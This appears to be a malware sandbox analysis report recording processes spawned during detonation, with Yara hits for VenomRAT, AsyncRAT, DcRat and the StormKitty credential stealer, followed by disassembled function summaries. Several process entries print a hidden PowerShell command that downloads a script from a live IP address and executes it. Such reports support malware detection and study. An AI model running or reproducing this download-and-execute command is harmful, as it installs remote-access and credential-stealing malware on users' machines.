Commandline:	powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Imagebase:	0x5e0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Analysis Process: powershell.exePID: 6500, Parent PID: 964

General

Target ID:	15
Start time:	13:14:09
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Imagebase:	0x5e0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Analysis Process: cmd.exePID: 1096, Parent PID: 3212

General

Target ID:	16
Start time:	13:14:12
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 2616, Parent PID: 1096

General

Target ID:	17
Start time:	13:14:12
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -windowstyle hidden -command "iwr -useb http://147.45.44.131/infopage/iubn.ps1 -Headers @{ 'X-Special-Header' = 'qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq' } \| iex"
Imagebase:	0x5e0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Analysis Process: csc.exePID: 7284, Parent PID: 5512

General

Target ID:	18
Start time:	13:14:13
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\10esxhtc\10esxhtc.cmdline"
Imagebase:	0x910000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:14:13
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wt2ogsc5\wt2ogsc5.cmdline"
Imagebase:	0x910000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:14:13
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5swi5u3s\5swi5u3s.cmdline"
Imagebase:	0x910000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:14:14
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67D9.tmp" "c:\Users\user\AppData\Local\Temp\5swi5u3s\CSCAF633C7494E44EEF91E489AA57193A1E.TMP"
Imagebase:	0x1b0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:14:14
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67D8.tmp" "c:\Users\user\AppData\Local\Temp\10esxhtc\CSC630D1DBBBF4439F8DFE57AEDCAADEA.TMP"
Imagebase:	0x1b0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:14:14
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES67DA.tmp" "c:\Users\user\AppData\Local\Temp\wt2ogsc5\CSCB74DB134981A43F6AC9523DAB4F3A2ED.TMP"
Imagebase:	0x1b0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:14:15
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\snrj5tfq\snrj5tfq.cmdline"
Imagebase:	0x910000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:14:15
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES6AB6.tmp" "c:\Users\user\AppData\Local\Temp\snrj5tfq\CSC3E3C918B4DA048DEA31452744D593FA.TMP"
Imagebase:	0x1b0000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:14:17
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xe80000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DcRat_2, Description: Yara detected DcRat, Source: 0000001A.00000002.4668820759.0000000003579000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	13:14:17
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x8b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_VenomRAT, Description: Yara detected VenomRAT, Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_StormKitty, Description: Yara detected StormKitty Stealer, Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic_3, Description: Yara detected Keylogger Generic, Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_DCRat_1aeea1ac, Description: unknown, Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:14:17
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x5a0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	13:14:17
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x750000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:14:18
Start date:	02/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x870000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.9%
Total number of Nodes:	1491
Total number of Limit Nodes:	26

Executed Functions

Function 6E9B5A1D Relevance: 16.7, APIs: 11, Instructions: 188
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6E9B5602: HeapFree.KERNEL32(00000000,00000000,?,6E9B4C74), ref: 6E9B5618
Part of subcall function 6E9B5602: GetLastError.KERNEL32(?,?,6E9B4C74), ref: 6E9B5623

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B4E
GetExitCodeProcess.KERNELBASE(?,?), ref: 6E9B5B5B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B70
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B7B
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B86
__dosmaperr.LIBCMT ref: 6E9B5B8D
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5B98
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BA3
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BB5
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BC0
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6E9B5BF1

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: CloseHandle$ErrorLast$CodeExitFreeHeapObjectProcessSingleWait__dosmaperr
String ID:
API String ID: 2764183375-0
Opcode ID: 769d1abba2d1fd3759fdc7e1faaf19780ec6971da330fb5263fe2f3866e85d12
Instruction ID: 9a1786106f481169e8a40bf0666839504565cfc77c975341344522898b244ae5
Opcode Fuzzy Hash: 769d1abba2d1fd3759fdc7e1faaf19780ec6971da330fb5263fe2f3866e85d12
Instruction Fuzzy Hash: CC5157B1C04209EFDF02AFE4C899AEF7BBEEF85319F108465E910A6150DB31CA44DE61

Function 6E9B117D Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6E9B11C4
___scrt_uninitialize_crt.LIBCMT ref: 6E9B11DE

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 1ee410048c433e03df18d3e5399ec482279d72d34edda5c6f16eef1a47008bc9
Instruction ID: 44d2ce557b0beb4a6e3c914e342d420e126ee3e9b907804e9d3474a51ccf467b
Opcode Fuzzy Hash: 1ee410048c433e03df18d3e5399ec482279d72d34edda5c6f16eef1a47008bc9
Instruction Fuzzy Hash: 2A41D372E05619AEDB109FDBC840BAF3ABDEF97B94F104419E810AB240D730CD098FA0

Function 6E9B82A6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,6E9B83B5,?,6E9B4C74,00000000,00000000,?,?,6E9B858B,00000022,FlsSetValue,6E9C0550,6E9C0558,00000000), ref: 6E9B8367

Strings

ext-ms-, xrefs: 6E9B8311
api-ms-, xrefs: 6E9B82FD

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 5e1cc08c08bd11455a72edec168707afd441c53e8079e9dfed32f5842bc84cf0
Instruction ID: 047686fc217a4540ba3d32f52ca79f1270a5b51701245e6cd1cc24daf3a04c54
Opcode Fuzzy Hash: 5e1cc08c08bd11455a72edec168707afd441c53e8079e9dfed32f5842bc84cf0
Instruction Fuzzy Hash: 1D21DA75909A13AFDB659AA5CC84E8B376C9F4B7A4F244524ED15E7281D730ED00CED0

Function 6E9B582A Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 6E9B586D
_strrchr.LIBCMT ref: 6E9B5877
_strrchr.LIBCMT ref: 6E9B588C

Part of subcall function 6E9B5602: HeapFree.KERNEL32(00000000,00000000,?,6E9B4C74), ref: 6E9B5618
Part of subcall function 6E9B5602: GetLastError.KERNEL32(?,?,6E9B4C74), ref: 6E9B5623

Part of subcall function 6E9B551E: IsProcessorFeaturePresent.KERNEL32(00000017,6E9B550D,?,6E9B8FEA,?,6E9B8E7D,00000000,?,00000000,?,6E9B5484,?,00000000,6E9B8E7D,?,6E9B8FEA), ref: 6E9B5520
Part of subcall function 6E9B551E: GetCurrentProcess.KERNEL32(C0000417,6E9B8FEA,?,00000000,?,00000000,?,?,6E9B8FEA,?,6E9B8E7D,00000000,?,00000000,6E9B8E7D,?), ref: 6E9B5543
Part of subcall function 6E9B551E: TerminateProcess.KERNEL32(00000000,?,6E9B8FEA,?,6E9B8E7D,00000000,?,00000000,6E9B8E7D,?,00000000,00000000,6E9C4988,0000002C,6E9B8EEE,?), ref: 6E9B554A

Strings

.com, xrefs: 6E9B5997, 6E9B59A1

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: _strrchr$Process$CurrentErrorFeatureFreeHeapLastPresentProcessorTerminate
String ID: .com
API String ID: 3694955208-4200470757
Opcode ID: 7f4071b2a924506b6a4a599897e1527a1c74c629b88ff33c2973b6adb9a49551
Instruction ID: bcb4d47ed8aa2000cfae0ccf414cfcfc9dc31d34c4dfa707a5d627a7936c449d
Opcode Fuzzy Hash: 7f4071b2a924506b6a4a599897e1527a1c74c629b88ff33c2973b6adb9a49551
Instruction Fuzzy Hash: 225127725183017BEB065AF5DC91BDB376F9F92768F640929E800AA185FB71D901CE60

Function 6E9B122D Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6E9B126A
dllmain_crt_dispatch.LIBCMT ref: 6E9B1281
